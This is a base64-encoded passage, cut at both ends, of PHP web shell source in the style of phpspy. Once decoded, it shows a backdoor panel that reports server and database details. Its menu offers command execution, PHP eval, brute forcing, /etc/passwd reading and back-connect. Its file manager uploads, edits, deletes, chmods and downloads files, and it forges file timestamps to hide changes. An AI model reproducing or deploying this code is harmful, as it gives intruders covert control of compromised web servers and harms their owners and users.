QgY29sb3I9Z3JlZW4+T048L2ZvbnQ+PC9iPiAtICI7IH0gZWxzZSB7IGVjaG8gIjxmb250IGNvbG9yPXJlZD5PRkY8L2ZvbnQ+PC9iPiAtICI7IH0KZWNobyAiTVNTUUw6IDxiPiI7CiRtc3NxbF9vbiA9IEBmdW5jdGlvbl9leGlzdHMoJ21zc3FsX2Nvbm5lY3QnKTsKaWYoJG1zc3FsX29uKXtlY2hvICI8Zm9udCBjb2xvcj1ncmVlbj5PTjwvZm9udD48L2I+IC0gIjt9ZWxzZXtlY2hvICI8Zm9udCBjb2xvcj1yZWQ+T0ZGPC9mb250PjwvYj4gLSAiO30KZWNobyAiUG9zdGdyZVNRTDogPGI+IjsKJHBnX29uID0gQGZ1bmN0aW9uX2V4aXN0cygncGdfY29ubmVjdCcpOwppZigkcGdfb24pe2VjaG8gIjxmb250IGNvbG9yPWdyZWVuPk9OPC9mb250PjwvYj4gLSAiO31lbHNle2VjaG8gIjxmb250IGNvbG9yPXJlZD5PRkY8L2ZvbnQ+PC9iPiAtICI7fQplY2hvICJPcmFjbGU6IDxiPiI7CiRvcmFfb24gPSBAZnVuY3Rpb25fZXhpc3RzKCdvY2lsb2dvbicpOwppZigkb3JhX29uKXtlY2hvICI8Zm9udCBjb2xvcj1ncmVlbj5PTjwvZm9udD48L2I+Ijt9ZWxzZXtlY2hvICI8Zm9udCBjb2xvcj1yZWQ+T0ZGPC9mb250PjwvYj48QlI+Ijt9CgplY2hvICJEaXNhYmxlIGZ1bmN0aW9ucyA6IDxiPiI7CmlmKCcnPT0oJGRmPUBpbmlfZ2V0KCdkaXNhYmxlX2Z1bmN0aW9ucycpKSl7ZWNobyAiPGZvbnQgY29sb3I9Z3JlZW4+Tk9ORTwvZm9udD48L2I+PEJSPiI7fWVsc2V7ZWNobyAiPGZvbnQgY29sb3I9cmVkPiRkZjwvZm9udD48L2I+PEJSPiI7fQoKZWNobyAiPGZvbnQgY29sb3I9d2hpdGU+VW5hbWUgLWE8L2ZvbnQ+OiAiLkBzdWJzdHIoQHBocF91bmFtZSgpLDAsMTIwKS4iPGJyPiI7CmVjaG8gIjxmb250IGNvbG9yPXdoaXRlPlNlcnZlcjwvZm9udD46ICIuQHN1YnN0cigkU0VSVkVSX1NPRlRXQVJFLDAsMTIwKS4iIC0gPGZvbnQgY29sb3I9d2hpdGU+aWQ8L2ZvbnQ+OiAiLkBnZXRteXVpZCgpLiIoIi5AZ2V0X2N1cnJlbnRfdXNlcigpLiIpIC0gdWlkPSIuQGdldG15dWlkKCkuIiAoIi5AZ2V0X2N1cnJlbnRfdXNlcigpLiIpIGdpZD0iLkBnZXRteWdpZCgpLiIoIi5AZ2V0X2N1cnJlbnRfdXNlcigpLiIpPGJyPiI7CgkJPz4KCQk8L3RkPjwvdHI+PC90YWJsZT48L3RkPgoJPC90cj4KCTx0ciBjbGFzcz0iYWx0MSI+CgkJPHRkICB3aWR0aD0xMCU+CgkJCQoJCQk8YSBocmVmPSJqYXZhc2NyaXB0OmdvYWN0aW9uKCdmaWxlJyk7Ij5GaWxlIE1hbmFnZXI8L2E+IHwKCQkJPGEgaHJlZj0iamF2YXNjcmlwdDpnb2FjdGlvbignc3FsYWRtaW4nKTsiPk15U1FMIE1hbmFnZXI8L2E+IHwKCQkJPGEgaHJlZj0iamF2YXNjcmlwdDpnb2FjdGlvbignc3FsZmlsZScpOyI+TXlTUUwgVXBsb2FkICZhbXA7IERvd25sb2FkPC9hPiB8CgkJCTxhIGhyZWY9ImphdmFzY3JpcHQ6Z29hY3Rpb24oJ3NoZWxsJyk7Ij5FeGVjdXRlIENvbW1hbmQ8L2E+IHwKCQkJPGEgaHJlZj0iamF2YXNjcmlwdDpnb2FjdGlvbigncGhwZW52Jyk7Ij5QSFAgVmFyaWFibGU8L2E+IHwKCQkJPGEgaHJlZj0iamF2YXNjcmlwdDpnb2FjdGlvbignZXZhbCcpOyI+RXZhbCBQSFAgQ29kZTwvYT4KCQkJPD9waHAgaWYgKCFJU19XSU4pIHs/PiB8IDxhIGhyZWY9ImphdmFzY3JpcHQ6Z29hY3Rpb24oJ2JydXRlJyk7Ij5CcnV0ZTwvYT4gPD9waHAgfT8+CgkJCTw/cGhwIGlmICghSVNfV0lOKSB7Pz4gfCA8YSBocmVmPSJqYXZhc2NyaXB0OmdvYWN0aW9uKCdldGNwd2QnKTsiPi9ldGMvcGFzc3dkPC9hPiA8P3BocCB9Pz4KCQkJPD9waHAgaWYgKCFJU19XSU4pIHs/PiB8IDxhIGhyZWY9ImphdmFzY3JpcHQ6Z29hY3Rpb24oJ2JhY2tjb25uZWN0Jyk7Ij5CYWNrIENvbm5lY3Q8L2E+PD9waHAgfT8+CgkJPC90ZD4KCTwvdHI+CjwvdGFibGU+Cjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMTUiIGNlbGxzcGFjaW5nPSIwIj48dHI+PHRkPgo8P3BocAoKZm9ybWhlYWQoYXJyYXkoJ25hbWUnPT4nZ29hY3Rpb24nKSk7Cm1ha2VoaWRlKCdhY3Rpb24nKTsKZm9ybWZvb3QoKTsKCiRlcnJtc2cgJiYgbSgkZXJybXNnKTsKCi8vIERpciBmdW5jdGlvbgohJGRpciAmJiAkZGlyID0gJy4nOwokbm93cGF0aCA9IGdldFBhdGgoU0FfUk9PVCwgJGRpcik7CmlmIChzdWJzdHIoJGRpciwgLTEpICE9ICcvJykgewoJJGRpciA9ICRkaXIuJy8nOwp9CiR1ZWRpciA9IHVlKCRkaXIpOwoKaWYgKCEkYWN0aW9uIHx8ICRhY3Rpb24gPT0gJ2ZpbGUnKSB7CgoJLy8gTm9uLXdyaXRlYWJsZQoJJGRpcl93cml0ZWFibGUgPSBAaXNfd3JpdGFibGUoJG5vd3BhdGgpID8gJ1dyaXRhYmxlJyA6ICdOb24td3JpdGFibGUnOwoKCS8vIERlbGV0ZSBkaXIKCWlmICgkZG9pbmcgPT0gJ2RlbGRpcicgJiYgJHRoZWZpbGUpIHsKCQlpZiAoIWZpbGVfZXhpc3RzKCR0aGVmaWxlKSkgewoJCQltKCR0aGVmaWxlLicgZGlyZWN0b3J5IGRvZXMgbm90IGV4aXN0Jyk7CgkJfSBlbHNlIHsKCQkJbSgnRGlyZWN0b3J5IGRlbGV0ZSAnLihkZWx0cmVlKCR0aGVmaWxlKSA/IGJhc2VuYW1lKCR0aGVmaWxlKS4nIHN1Y2Nlc3MnIDogJ2ZhaWxlZCcpKTsKCQl9Cgl9CgoJLy8gQ3JlYXRlIG5ldyBkaXIKCWVsc2VpZiAoJG5ld2Rpcm5hbWUpIHsKCQkkbWtkaXJzID0gJG5vd3BhdGguJG5ld2Rpcm5hbWU7CgkJaWYgKGZpbGVfZXhpc3RzKCRta2RpcnMpKSB7CgkJCW0oJ0RpcmVjdG9yeSBoYXMgYWxyZWFkeSBleGlzdGVkJyk7CgkJfSBlbHNlIHsKCQkJbSgnRGlyZWN0b3J5IGNyZWF0ZWQgJy4oQG1rZGlyKCRta2RpcnMsMDc3NykgPyAnc3VjY2VzcycgOiAnZmFpbGVkJykpOwoJCQlAY2htb2QoJG1rZGlycywwNzc3KTsKCQl9Cgl9CgoJLy8gVXBsb2FkIGZpbGUKCWVsc2VpZiAoJGRvdXBmaWxlKSB7CgkJbSgnRmlsZSB1cGxvYWQgJy4oQGNvcHkoJF9GSUxFU1sndXBsb2FkZmlsZSddWyd0bXBfbmFtZSddLCR1cGxvYWRkaXIuJy8nLiRfRklMRVNbJ3VwbG9hZGZpbGUnXVsnbmFtZSddKSA/ICdzdWNjZXNzJyA6ICdmYWlsZWQnKSk7Cgl9CgoJLy8gRWRpdCBmaWxlCgllbHNlaWYgKCRlZGl0ZmlsZW5hbWUgJiYgJGZpbGVjb250ZW50KSB7CgkJJGZwID0gQGZvcGVuKCRlZGl0ZmlsZW5hbWUsJ3cnKTsKCQltKCdTYXZlIGZpbGUgJy4oQGZ3cml0ZSgkZnAsJGZpbGVjb250ZW50KSA/ICdzdWNjZXNzJyA6ICdmYWlsZWQnKSk7CgkJQGZjbG9zZSgkZnApOwoJfQoKCS8vIE1vZGlmeQoJZWxzZWlmICgkcGZpbGUgJiYgJG5ld3Blcm0pIHsKCQlpZiAoIWZpbGVfZXhpc3RzKCRwZmlsZSkpIHsKCQkJbSgnVGhlIG9yaWdpbmFsIGZpbGUgZG9lcyBub3QgZXhpc3QnKTsKCQl9IGVsc2UgewoJCQkkbmV3cGVybSA9IGJhc2VfY29udmVydCgkbmV3cGVybSw4LDEwKTsKCQkJbSgnTW9kaWZ5IGZpbGUgYXR0cmlidXRlcyAnLihAY2htb2QoJHBmaWxlLCRuZXdwZXJtKSA/ICdzdWNjZXNzJyA6ICdmYWlsZWQnKSk7CgkJfQoJfQoKCS8vIFJlbmFtZQoJZWxzZWlmICgkb2xkbmFtZSAmJiAkbmV3ZmlsZW5hbWUpIHsKCQkkbm5hbWUgPSAkbm93cGF0aC4kbmV3ZmlsZW5hbWU7CgkJaWYgKGZpbGVfZXhpc3RzKCRubmFtZSkgfHwgIWZpbGVfZXhpc3RzKCRvbGRuYW1lKSkgewoJCQltKCRubmFtZS4nIGhhcyBhbHJlYWR5IGV4aXN0ZWQgb3Igb3JpZ2luYWwgZmlsZSBkb2VzIG5vdCBleGlzdCcpOwoJCX0gZWxzZSB7CgkJCW0oYmFzZW5hbWUoJG9sZG5hbWUpLicgcmVuYW1lZCAnLmJhc2VuYW1lKCRubmFtZSkuKEByZW5hbWUoJG9sZG5hbWUsJG5uYW1lKSA/ICcgc3VjY2VzcycgOiAnZmFpbGVkJykpOwoJCX0KCX0KCgkvLyBDb3B1CgllbHNlaWYgKCRzbmFtZSAmJiAkdG9maWxlKSB7CgkJaWYgKGZpbGVfZXhpc3RzKCR0b2ZpbGUpIHx8ICFmaWxlX2V4aXN0cygkc25hbWUpKSB7CgkJCW0oJ1RoZSBnb2FsIGZpbGUgaGFzIGFscmVhZHkgZXhpc3RlZCBvciBvcmlnaW5hbCBmaWxlIGRvZXMgbm90IGV4aXN0Jyk7CgkJfSBlbHNlIHsKCQkJbShiYXNlbmFtZSgkdG9maWxlKS4nIGNvcGllZCAnLihAY29weSgkc25hbWUsJHRvZmlsZSkgPyBiYXNlbmFtZSgkdG9maWxlKS4nIHN1Y2Nlc3MnIDogJ2ZhaWxlZCcpKTsKCQl9Cgl9CgoJLy8gRmlsZSBleGl0CgllbHNlaWYgKCRjdXJmaWxlICYmICR0YXJmaWxlKSB7CgkJaWYgKCFAZmlsZV9leGlzdHMoJGN1cmZpbGUpIHx8ICFAZmlsZV9leGlzdHMoJHRhcmZpbGUpKSB7CgkJCW0oJ1RoZSBnb2FsIGZpbGUgaGFzIGFscmVhZHkgZXhpc3RlZCBvciBvcmlnaW5hbCBmaWxlIGRvZXMgbm90IGV4aXN0Jyk7CgkJfSBlbHNlIHsKCQkJJHRpbWUgPSBAZmlsZW10aW1lKCR0YXJmaWxlKTsKCQkJbSgnTW9kaWZ5IGZpbGUgdGhlIGxhc3QgbW9kaWZpZWQgJy4oQHRvdWNoKCRjdXJmaWxlLCR0aW1lLCR0aW1lKSA/ICdzdWNjZXNzJyA6ICdmYWlsZWQnKSk7CgkJfQoJfQoKCS8vIERhdGUKCWVsc2VpZiAoJGN1cmZpbGUgJiYgJHllYXIgJiYgJG1vbnRoICYmICRkYXkgJiYgJGhvdXIgJiYgJG1pbnV0ZSAmJiAkc2Vjb25kKSB7CgkJaWYgKCFAZmlsZV9leGlzdHMoJGN1cmZpbGUpKSB7CgkJCW0oYmFzZW5hbWUoJGN1cmZpbGUpLicgZG9lcyBub3QgZXhpc3QnKTsKCQl9IGVsc2UgewoJCQkkdGltZSA9IHN0cnRvdGltZSgiJHllYXItJG1vbnRoLSRkYXkgJGhvdXI6JG1pbnV0ZTokc2Vjb25kIik7CgkJCW0oJ01vZGlmeSBmaWxlIHRoZSBsYXN0IG1vZGlmaWVkICcuKEB0b3VjaCgkY3VyZmlsZSwkdGltZSwkdGltZSkgPyAnc3VjY2VzcycgOiAnZmFpbGVkJykpOwoJCX0KCX0KCgkvLyBEb3dubG9hZAoJZWxzZWlmKCRkb2luZyA9PSAnZG93bnJhcicpIHsKCQlpZiAoJGRsKSB7CgkJCSRkZmlsZXM9Jyc7CgkJCWZvcmVhY2ggKCRkbCBhcyAkZmlsZXBhdGggPT4gJHZhbHVlKSB7CgkJCQkkZGZpbGVzLj0kZmlsZXBhdGguJywnOwoJCQl9CgkJCSRkZmlsZXM9c3Vic3RyKCRkZmlsZXMsMCxzdHJsZW4oJGRmaWxlcyktMSk7CgkJCSRkbD1leHBsb2RlKCcsJywkZGZpbGVzKTsKCQkJJHppcD1uZXcgUEhQWmlwKCRkbCk7CgkJCSRjb2RlPSR6aXAtPm91dDsKCQkJaGVhZGVyKCdDb250ZW50LXR5cGU6IGFwcGxpY2F0aW9uL29jdGV0LXN0cmVhbScpOwoJCQloZWFkZXIoJ0FjY2VwdC1SYW5nZXM6IGJ5dGVzJyk7CgkJCWhlYWRlcignQWNjZXB0LUxlbmd0aDogJy5zdHJsZW4oJGNvZGUpKTsKCQkJaGVhZGVyKCdDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50O2ZpbGVuYW1lPScuJF9TRVJWRVJbJ0hUVFBfSE9TVCddLidfRmlsZXMudGFyLmd6Jyk7CgkJCWVjaG8gJGNvZGU7CgkJCWV4aXQ7CgkJfSBlbHNlIHsKCQkJbSgnUGxlYXNlIHNlbGVjdCBmaWxlKHMpJyk7CgkJfQoJfQoKCS8vIERlbGV0ZSBmaWxlCgllbHNlaWYoJGRvaW5nID09ICdkZWxmaWxlcycpIHsKCQlpZiAoJGRsKSB7CgkJCSRkZmlsZXM9Jyc7CgkJCSRzdWNjID0gJGZhaWwgPSAwOwoJCQlmb3JlYWNoICgkZGwgYXMgJGZpbGVwYXRoID0+ICR2YWx1ZSkgewoJCQkJaWYgKEB1bmxpbmsoJGZpbGVwYXRoKSkgewoJCQkJCSRzdWNjKys7CgkJCQl9IGVsc2UgewoJCQkJCSRmYWlsKys7CgkJCQl9CgkJCX0KCQkJbSgnRGVsZXRlZCBmaWxlIGhhdmUgZmluaXNoZWQ/P2Nob29zZSAnLmNvdW50KCRkbCkuJyBzdWNjZXNzICcuJHN1Y2MuJyBmYWlsICcuJGZhaWwpOwoJCX0gZWxzZSB7CgkJCW0oJ1BsZWFzZSBzZWxlY3QgZmlsZShzKScpOwoJCX0KCX0KCgkvLyBGdW5jdGlvbiBOZXdkaXIKCWZvcm1oZWFkKGFycmF5KCduYW1lJz0+J2NyZWF0ZWRpcicpKTsKCW1ha2VoaWRlKCduZXdkaXJuYW1lJyk7CgltYWtlaGlkZSgnZGlyJywkbm93cGF0aCk7Cglmb3JtZm9vdCgpOwoJZm9ybWhlYWQoYXJyYXkoJ25hbWUnPT4nZmlsZXBlcm0nKSk7CgltYWtlaGlkZSgnbmV3cGVybScpOwoJbWFrZWhpZGUoJ3BmaWxlJyk7CgltYWtlaGlkZSgnZGlyJywkbm93cGF0aCk7Cglmb3JtZm9vdCgpOwoJZm9ybWhlYWQoYXJyYXkoJ25hbWUnPT4nY29weWZpbGUnKSk7CgltYWtlaGlkZSgnc25hbWUnKTsKCW1ha2VoaWRlKCd0b2ZpbGUnKTsKCW1ha2VoaWRlKCdkaXInLCRub3dwYXRoKTsKCWZvcm1mb290KCk7Cglmb3JtaGVhZChhcnJheSgnbmFtZSc9PidyZW5hbWUnKSk7CgltYWtlaGlkZSgnb2xkbmFtZScpOwoJbWFrZWhpZGUoJ25ld2ZpbGVuYW1lJyk7CgltYWtlaGlkZSgnZGlyJywkbm93cGF0aCk7Cglmb3JtZm9vdCgpOwoJZm9ybWhlYWQoYXJyYXkoJ25hbWUnPT4nZmlsZW9wZm9ybScpKTsKCW1ha2VoaWRlKCdhY3Rpb24nKTsKCW1ha2VoaWRlKCdvcGZpbGUnKTsKCW1ha2VoaWRlKCdkaXInKTsKCWZvcm1mb290KCk7CgoJJGZyZWUgPSBAZGlza19mcmVlX3NwYWNlKCRub3dwYXRoKTsKCSEkZnJlZSAmJiAkZnJlZSA9IDA7CgkkYWxsID0gQGRpc2tfdG90YWxfc3BhY2UoJG5vd3BhdGgpOwoJISRhbGwgJiYgJGFsbCA9IDA7CgkkdXNlZCA9ICRhbGwtJGZyZWU7CgkkdXNlZF9wZXJjZW50ID0gQHJvdW5kKDEwMC8oJGFsbC8kZnJlZSksMik7CglwKCc8Zm9udCBjb2xvcj15ZWxsb3cgZmFjZT10YWhvbWEgc2l6ZT0yPjxCPkZpbGUgTWFuYWdlcjwvYj4gPC9mb250PiBDdXJyZW50IGRpc2sgZnJlZSA8Zm9udCBjb2xvcj1yZWQ+Jy5zaXplY291bnQoJGZyZWUpLic8L2ZvbnQ+IG9mIDxmb250IGNvbG9yPXJlZD4nLnNpemVjb3VudCgkYWxsKS4nPC9mb250PiAoPGZvbnQgY29sb3I9cmVkPicuJHVzZWRfcGVyY2VudC4nPC9mb250PiUpPC9mb250PicpOwoKPz4KPHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCIgc3R5bGU9Im1hcmdpbjoxMHB4IDA7Ij4KICA8Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJwb3N0IiBpZD0iZ29kaXIiIG5hbWU9ImdvZGlyIj4KICA8dHI+CiAgICA8dGQgbm93cmFwPkN1cnJlbnQgRGlyZWN0b3J5ICg8P3BocCBlY2hvICRkaXJfd3JpdGVhYmxlOz8+LCA8P3BocCBlY2hvIGdldENobW9kKCRub3dwYXRoKTs/Pik8L3RkPgoJPHRkIHdpZHRoPSIxMDAlIj48aW5wdXQgbmFtZT0idmlld193cml0YWJsZSIgdmFsdWU9IjAiIHR5cGU9ImhpZGRlbiIgLz48aW5wdXQgY2xhc3M9ImlucHV0IiBuYW1lPSJkaXIiIHZhbHVlPSI8P3BocCBlY2hvICRub3dwYXRoOz8+IiB0eXBlPSJ0ZXh0IiBzdHlsZT0id2lkdGg6MTAwJTttYXJnaW46MCA4cHg7Ij48L3RkPgogICAgPHRkIG5vd3JhcD48aW5wdXQgY2xhc3M9ImJ0IiB2YWx1ZT0iR08iIHR5cGU9InN1Ym1pdCI+PC90ZD4KICA8L3RyPgogIDwvZm9ybT4KPC90YWJsZT4KPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPgpmdW5jdGlvbiBjcmVhdGVkaXIoKXsKCXZhciBuZXdkaXJuYW1lOwoJbmV3ZGlybmFtZSA9IHByb21wdCgnUGxlYXNlIGlucHV0IHRoZSBkaXJlY3RvcnkgbmFtZTonLCAnJyk7CglpZiAoIW5ld2Rpcm5hbWUpIHJldHVybjsKCSQoJ2NyZWF0ZWRpcicpLm5ld2Rpcm5hbWUudmFsdWU9bmV3ZGlybmFtZTsKCSQoJ2NyZWF0ZWRpcicpLnN1Ym1pdCgpOwp9CmZ1bmN0aW9uIGZpbGVwZXJtKHBmaWxlKXsKCXZhciBuZXdwZXJtOwoJbmV3cGVybSA9IHByb21wdCgnQ3VycmVudCBmaWxlOicrcGZpbGUrJ1xuUGxlYXNlIGlucHV0IG5ldyBhdHRyaWJ1dGU6JywgJycpOwoJaWYgKCFuZXdwZXJtKSByZXR1cm47CgkkKCdmaWxlcGVybScpLm5ld3Blcm0udmFsdWU9bmV3cGVybTsKCSQoJ2ZpbGVwZXJtJykucGZpbGUudmFsdWU9cGZpbGU7CgkkKCdmaWxlcGVybScpLnN1Ym1pdCgpOwp9CmZ1bmN0aW9uIGNvcHlmaWxlKHNuYW1lKXsKCXZhciB0b2ZpbGU7Cgl0b2ZpbGUgPSBwcm9tcHQoJ09yaWdpbmFsIGZpbGU6JytzbmFtZSsnXG5QbGVhc2UgaW5wdXQgb2JqZWN0IGZpbGUgKGZ1bGxwYXRoKTonLCAnJyk7CglpZiAoIXRvZmlsZSkgcmV0dXJuOwoJJCgnY29weWZpbGUnKS50b2ZpbGUudmFsdWU9dG9maWxlOwoJJCgnY29weWZpbGUnKS5zbmFtZS52YWx1ZT1zbmFtZTsKCSQoJ2NvcHlmaWxlJykuc3VibWl0KCk7Cn0KZnVuY3Rpb24gcmVuYW1lKG9sZG5hbWUpewoJdmFyIG5ld2ZpbGVuYW1lOwoJbmV3ZmlsZW5hbWUgPSBwcm9tcHQoJ0Zvcm1lciBmaWxlIG5hbWU6JytvbGRuYW1lKydcblBsZWFzZSBpbnB1dCBuZXcgZmlsZW5hbWU6JywgJycpOwoJaWYgKCFuZXdmaWxlbmFtZSkgcmV0dXJuOwoJJCgncmVuYW1lJykubmV3ZmlsZW5hbWUudmFsdWU9bmV3ZmlsZW5hbWU7CgkkKCdyZW5hbWUnKS5vbGRuYW1lLnZhbHVlPW9sZG5hbWU7CgkkKCdyZW5hbWUnKS5zdWJtaXQoKTsKfQpmdW5jdGlvbiBkb2ZpbGUoZG9pbmcsdGhlZmlsZSxtKXsKCWlmIChtICYmICFjb25maXJtKG0pKSB7CgkJcmV0dXJuOwoJfQoJJCgnZmlsZWxpc3QnKS5kb2luZy52YWx1ZT1kb2luZzsKCWlmICh0aGVmaWxlKXsKCQkkKCdmaWxlbGlzdCcpLnRoZWZpbGUudmFsdWU9dGhlZmlsZTsKCX0KCSQoJ2ZpbGVsaXN0Jykuc3VibWl0KCk7Cn0KZnVuY3Rpb24gY3JlYXRlZmlsZShub3dwYXRoKXsKCXZhciBmaWxlbmFtZTsKCWZpbGVuYW1lID0gcHJvbXB0KCdQbGVhc2UgaW5wdXQgdGhlIGZpbGUgbmFtZTonLCAnJyk7CglpZiAoIWZpbGVuYW1lKSByZXR1cm47CglvcGZpbGUoJ2VkaXRmaWxlJyxub3dwYXRoICsgZmlsZW5hbWUsbm93cGF0aCk7Cn0KZnVuY3Rpb24gb3BmaWxlKGFjdGlvbixvcGZpbGUsZGlyKXsKCSQoJ2ZpbGVvcGZvcm0nKS5hY3Rpb24udmFsdWU9YWN0aW9uOwoJJCgnZmlsZW9wZm9ybScpLm9wZmlsZS52YWx1ZT1vcGZpbGU7CgkkKCdmaWxlb3Bmb3JtJykuZGlyLnZhbHVlPWRpcjsKCSQoJ2ZpbGVvcGZvcm0nKS5zdWJtaXQoKTsKfQpmdW5jdGlvbiBnb2RpcihkaXIsdmlld193cml0YWJsZSl7CglpZiAodmlld193cml0YWJsZSkgewoJCSQoJ2dvZGlyJykudmlld193cml0YWJsZS52YWx1ZT0xOwoJfQoJJCgnZ29kaXInKS5kaXIudmFsdWU9ZGlyOwoJJCgnZ29kaXInKS5zdWJtaXQoKTsKfQo8L3NjcmlwdD4KICA8P3BocAoJdGJoZWFkKCk7CglwKCc8Zm9ybSBhY3Rpb249IicuJHNlbGYuJyIgbWV0aG9kPSJQT1NUIiBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIj48dHIgY2xhc3M9ImFsdDEiPjx0ZCBjb2xzcGFuPSI3IiBzdHlsZT0icGFkZGluZzo1cHg7Ij4nKTsKCXAoJzxkaXYgc3R5bGU9ImZsb2F0OnJpZ2h0OyI+PGlucHV0IGNsYXNzPSJpbnB1dCIgbmFtZT0idXBsb2FkZmlsZSIgdmFsdWU9IiIgdHlwZT0iZmlsZSIgLz4gPGlucHV0IGNsYXNzPSIiIG5hbWU9ImRvdXBmaWxlIiB2YWx1ZT0iVXBsb2FkIiB0eXBlPSJzdWJtaXQiIC8+PGlucHV0IG5hbWU9InVwbG9hZGRpciIgdmFsdWU9IicuJGRpci4nIiB0eXBlPSJoaWRkZW4iIC8+PGlucHV0IG5hbWU9ImRpciIgdmFsdWU9IicuJGRpci4nIiB0eXBlPSJoaWRkZW4iIC8+PC9kaXY+Jyk7CglwKCc8YSBocmVmPSJqYXZhc2NyaXB0OmdvZGlyKFwnJy4kX1NFUlZFUlsiRE9DVU1FTlRfUk9PVCJdLidcJyk7Ij5XZWJSb290PC9hPicpOwoJaWYgKCR2aWV3X3dyaXRhYmxlKSB7CgkJcCgnIHwgPGEgaHJlZj0iamF2YXNjcmlwdDpnb2RpcihcJycuJG5vd3BhdGguJ1wnKTsiPlZpZXcgQWxsPC9hPicpOwoJfSBlbHNlIHsKCQlwKCcgfCA8YSBocmVmPSJqYXZhc2NyaXB0OmdvZGlyKFwnJy4kbm93cGF0aC4nXCcsXCcxXCcpOyI+VmlldyBXcml0YWJsZTwvYT4nKTsKCX0KCXAoJyB8IDxhIGhyZWY9ImphdmFzY3JpcHQ6Y3JlYXRlZGlyKCk7Ij5DcmVhdGUgRGlyZWN0b3J5PC9hPiB8IDxhIGhyZWY9ImphdmFzY3JpcHQ6Y3JlYXRlZmlsZShcJycuJG5vd3BhdGguJ1wnKTsiPkNyZWF0ZSBGaWxlPC9hPicpOwoJaWYgKElTX1dJTiAmJiBJU19DT00pIHsKCQkkb2JqID0gbmV3IENPTSgnc2NyaXB0aW5nLmZpbGVzeXN0ZW1vYmplY3QnKTsKCQlpZiAoJG9iaiAmJiBpc19vYmplY3QoJG9iaikpIHsKCQkJJERyaXZlVHlwZURCID0gYXJyYXkoMCA9PiAnVW5rbm93JywxID0+ICdSZW1vdmFibGUnLDIgPT4gJ0ZpeGVkJywzID0+ICdOZXR3b3JrJyw0ID0+ICdDRFJvbScsNSA9PiAnUkFNIERpc2snKTsKCQkJZm9yZWFjaCgkb2JqLT5Ecml2ZXMgYXMgJGRyaXZlKSB7CgkJCQlpZiAoJGRyaXZlLT5Ecml2ZVR5cGUgPT0gMikgewoJCQkJCXAoJyB8IDxhIGhyZWY9ImphdmFzY3JpcHQ6Z29kaXIoXCcnLiRkcml2ZS0+UGF0aC4nL1wnKTsiIHRpdGxlPSJTaXplOicuc2l6ZWNvdW50KCRkcml2ZS0+VG90YWxTaXplKS4nJiMxMztGcmVlOicuc2l6ZWNvdW50KCRkcml2ZS0+RnJlZVNwYWNlKS4nJiMxMztUeXBlOicuJERyaXZlVHlwZURCWyRkcml2ZS0+RHJpdmVUeXBlXS4nIj4nLiREcml2ZVR5cGVEQlskZHJpdmUtPkRyaXZlVHlwZV0uJygnLiRkcml2ZS0+UGF0aC4nKTwvYT4nKTsKCQkJCX0gZWxzZSB7CgkJCQkJcCgnIHwgPGEgaHJlZj0iamF2YXNjcmlwdDpnb2RpcihcJycuJGRyaXZlLT5QYXRoLicvXCcpOyIgdGl0bGU9IlR5cGU6Jy4kRHJpdmVUeXBlREJbJGRyaXZlLT5Ecml2ZVR5cGVdLiciPicuJERyaXZlVHlwZURCWyRkcml2ZS0+RHJpdmVUeXBlXS4nKCcuJGRyaXZlLT5QYXRoLicpPC9hPicpOwoJCQkJfQoJCQl9CgkJfQoJfQoKCXAoJzwvdGQ+PC90cj48L2Zvcm0+Jyk7CgoJcCgnPHRyIGNsYXNzPSJoZWFkIj48dGQ+Jm5ic3A7PC90ZD48dGQ+RmlsZW5hbWU8L3RkPjx0ZCB3aWR0aD0iMTYlIj5MYXN0IG1vZGlmaWVkPC90ZD48dGQgd2lkdGg9IjEwJSI+U2l6ZTwvdGQ+PHRkIHdpZHRoPSIyMCUiPkNobW9kIC8gUGVybXM8L3RkPjx0ZCB3aWR0aD0iMjIlIj5BY3Rpb248L3RkPjwvdHI+Jyk7CgoJLy8gR2V0IHBhdGgKCSRkaXJkYXRhPWFycmF5KCk7CgkkZmlsZWRhdGE9YXJyYXkoKTsKCglpZiAoJHZpZXdfd3JpdGFibGUpIHsKCQkkZGlyZGF0YSA9IEdldExpc3QoJG5vd3BhdGgpOwoJfSBlbHNlIHsKCQkvLyBPcGVuIGRpcgoJCSRkaXJzPUBvcGVuZGlyKCRkaXIpOwoJCXdoaWxlICgkZmlsZT1AcmVhZGRpcigkZGlycykpIHsKCQkJJGZpbGVwYXRoPSRub3dwYXRoLiRmaWxlOwoJCQlpZihAaXNfZGlyKCRmaWxlcGF0aCkpewoJCQkJJGRpcmRiWydmaWxlbmFtZSddPSRmaWxlOwoJCQkJJGRpcmRiWydtdGltZSddPUBkYXRlKCdZLW0tZCBIOmk6cycsZmlsZW10aW1lKCRmaWxlcGF0aCkpOwoJCQkJJGRpcmRiWydkaXJjaG1vZCddPWdldENobW9kKCRmaWxlcGF0aCk7CgkJCQkkZGlyZGJbJ2RpcnBlcm0nXT1nZXRQZXJtcygkZmlsZXBhdGgpOwoJCQkJJGRpcmRiWydmaWxlb3duZXInXT1nZXRVc2VyKCRmaWxlcGF0aCk7CgkJCQkkZGlyZGJbJ2RpcmxpbmsnXT0kbm93cGF0aDsKCQkJCSRkaXJkYlsnc2VydmVyX2xpbmsnXT0kZmlsZXBhdGg7CgkJCQkkZGlyZGJbJ2NsaWVudF9saW5rJ109dWUoJGZpbGVwYXRoKTsKCQkJCSRkaXJkYXRhW109JGRpcmRiOwoJCQl9IGVsc2UgewoJCQkJJGZpbGVkYlsnZmlsZW5hbWUnXT0kZmlsZTsKCQkJCSRmaWxlZGJbJ3NpemUnXT1zaXplY291bnQoQGZpbGVzaXplKCRmaWxlcGF0aCkpOwoJCQkJJGZpbGVkYlsnbXRpbWUnXT1AZGF0ZSgnWS1tLWQgSDppOnMnLGZpbGVtdGltZSgkZmlsZXBhdGgpKTsKCQkJCSRmaWxlZGJbJ2ZpbGVjaG1vZCddPWdldENobW9kKCRmaWxlcGF0aCk7CgkJCQkkZmlsZWRiWydmaWxlcGVybSddPWdldFBlcm1zKCRmaWxlcGF0aCk7CgkJCQkkZmlsZWRiWydmaWxlb3duZXInXT1nZXRVc2VyKCRmaWxlcGF0aCk7CgkJCQkkZmlsZWRiWydkaXJsaW5rJ109JG5vd3BhdGg